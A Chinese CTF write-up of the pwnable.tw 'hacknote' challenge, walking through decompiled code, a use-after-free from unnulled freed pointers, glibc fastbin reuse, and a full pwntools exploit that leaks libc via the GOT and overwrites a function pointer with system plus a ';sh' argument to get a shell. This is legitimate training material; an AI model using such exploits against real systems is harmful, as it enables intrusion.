美文网首页CTF Re&&Pwn
【CTF-PWN】pwnable.tw_hacknote

【CTF-PWN】pwnable.tw_hacknote

作者: Kirin_say | 来源:发表于2018-06-29 16:02 被阅读83次

    pwnable.tw_challenge_hacknote

    打开程序
    查看功能:

    ./hacknote
    ----------------------
           HackNote       
    ----------------------
     1. Add note          
     2. Delete note       
     3. Print note        
     4. Exit              
    ----------------------
    Your choice :
    

    这里可以增加删除打印note信息
    载入IDA分析:

    0x01 add_note

    unsigned int add_note()
    {
      _DWORD *v0; // ebx
      signed int i; // [esp+Ch] [ebp-1Ch]
      int size; // [esp+10h] [ebp-18h]
      char buf; // [esp+14h] [ebp-14h]
      unsigned int v5; // [esp+1Ch] [ebp-Ch]
    
      v5 = __readgsdword(0x14u);
      if ( dword_804A04C <= 5 )
      {
        for ( i = 0; i <= 4; ++i )
        {
          if ( !ptr[i] )
          {
            ptr[i] = malloc(8u);
            if ( !ptr[i] )
            {
              puts("Alloca Error");
              exit(-1);
            }
            *(_DWORD *)ptr[i] = putnote;
            printf("Note size :");
            read(0, &buf, 8u);
            size = atoi(&buf);
            v0 = ptr[i];
            v0[1] = malloc(size);
            if ( !*((_DWORD *)ptr[i] + 1) )
            {
              puts("Alloca Error");
              exit(-1);
            }
            printf("Content :");
            read(0, *((void **)ptr[i] + 1), size);
            puts("Success !");
            ++dword_804A04C;
            return __readgsdword(0x14u) ^ v5;
          }
        }
      }
      else
      {
        puts("Full");
      }
      return __readgsdword(0x14u) ^ v5;
    }
    

    可以看到这里malloc了一个结构体:

    struct note{
    *putnote;   //指向用于输出note内容的函数( *(_DWORD *)ptr[i] = putnote;)
    *text;   //指向note对应的内容(read(0, *((void **)ptr[i] + 1), size);)
    }
    

    而后根据size再申请新的空间:

     v0 = ptr[i];
     v0[1] = malloc(size);//申请存储note内容的地址
    

    0x02 print_note

    unsigned int print_note()
    {
      int v1; // [esp+4h] [ebp-14h]
      char buf; // [esp+8h] [ebp-10h]
      unsigned int v3; // [esp+Ch] [ebp-Ch]
    
      v3 = __readgsdword(0x14u);
      printf("Index :");
      read(0, &buf, 4u);
      v1 = atoi(&buf);
      if ( v1 < 0 || v1 >= dword_804A04C )
      {
        puts("Out of bound!");
        _exit(0);
      }
      if ( ptr[v1] )
        (*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]);
      return __readgsdword(0x14u) ^ v3;
    }
    

    可以看到这里调用结构体第一个位置的地址所指的函数
    参数就是结构体本身

    0x03 delete_note

    unsigned int delete_note()
    {
      int v1; // [esp+4h] [ebp-14h]
      char buf; // [esp+8h] [ebp-10h]
      unsigned int v3; // [esp+Ch] [ebp-Ch]
    
      v3 = __readgsdword(0x14u);
      printf("Index :");
      read(0, &buf, 4u);
      v1 = atoi(&buf);
      if ( v1 < 0 || v1 >= dword_804A04C )
      {
        puts("Out of bound!");
        _exit(0);
      }
      if ( ptr[v1] )
      {
        free(*((void **)ptr[v1] + 1));
        free(ptr[v1]);
        puts("Success");
      }
      return __readgsdword(0x14u) ^ v3;
    }
    

    可以看到这里只是用free释放
    但没有将指针置空为NULL
    产生一个迷途指针
    这里便可利用这个指针来造成堆溢出来获得shell

    0x04 malloc分配机制

    #define request2size(req)                                         \
      (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)  ?             \
       MINSIZE :                                                      \
       ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
    

    SIZE_SZ:

    sizeof(size_t)   //32位->4字节,64位->8字节
    

    MINSIZE:

    #define MINSIZE  \
      (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
    

    MIN_CHUNK_SIZE为一个chunk结构体的大小:为16字节(32位,64位为32)

    struct malloc_chunk {
    
      INTERNAL_SIZE_T      mchunk_prev_size;  /* Size of previous chunk (if free).  */
      INTERNAL_SIZE_T      mchunk_size;       /* Size in bytes, including overhead. */
    
      struct malloc_chunk* fd;         /* double links -- used only if free. */
      struct malloc_chunk* bk;
    
      /* Only used for large blocks: pointer to next larger size.  */
      struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
      struct malloc_chunk* bk_nextsize;
    };
    

    MALLOC_ALIGNMENT为2*SIZE_SZ
    MALLOC_ALIGN_MASK 为2*SIZE_SZ-1
    由此即可通过最开始的request2size(req) 计算出系统分配出的内存大小

    例如,32位时:
    MINSIZE:(16+2*4-1)&~(2*4-1)=16
    申请字节:
    1-4字节:(req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE
    系统分配:
    MINSIZE=16字节
    申请字节:
    5-12字节:(req) + SIZE_SZ + MALLOC_ALIGN_MASK >=MINSIZE
    系统分配:
    (req) + SIZE_SZ + MALLOC_ALIGN_MASK) &~MALLOC_ALIGN_MASK=16字节
    申请字节:
    13字节
    系统分配:
    (req) + SIZE_SZ + MALLOC_ALIGN_MASK) &~MALLOC_ALIGN_MASK=24字节
    //可以看到分配相邻上下大小之差为系统指针大小(32位8字节,64位16字节)
    
    

    又因fastbin采用LIFO原则(其会在空表从后往前寻找首先合适的堆块)
    故而我们需要先申请两个note
    再利用delete制造迷途指针并利用堆溢出覆盖堆中数据从而拿到shell

    0x05 漏洞利用

    首先看到:

    (*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]);
    

    当我们print_note时,会调用结构体中第一个地址指向的函数
    函数参数就是结构体自身
    我们需要溢出覆盖掉一个之前申请过的结构体
    将结构体第一个函数地址修改(获得shell,需要覆盖为system的地址)
    而一个结构体16个字节,system的参数即为结构体本身
    这里需要使用system的参数截断
    例如使用:

    "||sh"或者";sh"
    

    这里可以利用malloc的分配机制
    首先申请两个note,长度>12(例,申请16字节)
    这时候堆内:

    16->24->16->24
    

    而后使用delete_note来free这4个空间
    当我们再次add_note一个16字节的note时
    根据fastbin的LIFO原则
    从后往前第一个满足的空间便是第一个空间(第三个空间处覆盖为结构体)
    即:note的文本内容会修改原本0号结构体
    如果我们修改结构体中*text内容为.got.plt中的一个地址
    那么print_note第0号即会打印出函数加载后的真实地址
    再根据其在libc库中的偏移求出程序加载动态库的基址
    进而计算出system函数地址
    再继续修改一次结构体数据为system的地址(参数截断上面已说明)
    重新print_note来调用修改后结构体中地址对应的system函数
    进而获取shell

    0x06 EXP

    from pwn import *
    
    def add_note(size,content):
          p.recvuntil("choice :")
          p.sendline("1")
          p.recvuntil("size :")
          p.sendline(size)
          p.recvuntil("Content :")
          p.sendline(content)
    
    def delete_note(index):
          p.recvuntil("choice :")
          p.sendline("2")
          p.recvuntil("Index :")
          p.sendline(index)
    
    def print_note(index):
          p.recvuntil("choice :")
          p.sendline("3")
          p.recvuntil("Index :")
          p.sendline(index)
    
    p=remote("chall.pwnable.tw", 10102)
    elf=ELF("./hacknote")
    elib=ELF("./libc_32.so.6")
    read_got=elf.got["read"]
    putnote=0x804862b
    add_note("16",15*"a")
    add_note("16",15*"a")
    delete_note('0')
    delete_note('1')
    add_note('8',p32(putnote)+p32(read_got))
    print_note('0')
    read_addr=u32(p.recv()[:4])
    sys_addr=read_addr-elib.symbols["read"]+elib.symbols["system"]
    delete_note('2')
    add_note('8',p32(sys_addr)+";sh\x00")
    print_note('0')
    p.interactive()
    

    相关文章

      网友评论

        本文标题:【CTF-PWN】pwnable.tw_hacknote

        本文链接:https://www.haomeiwen.com/subject/cpwvsftx.html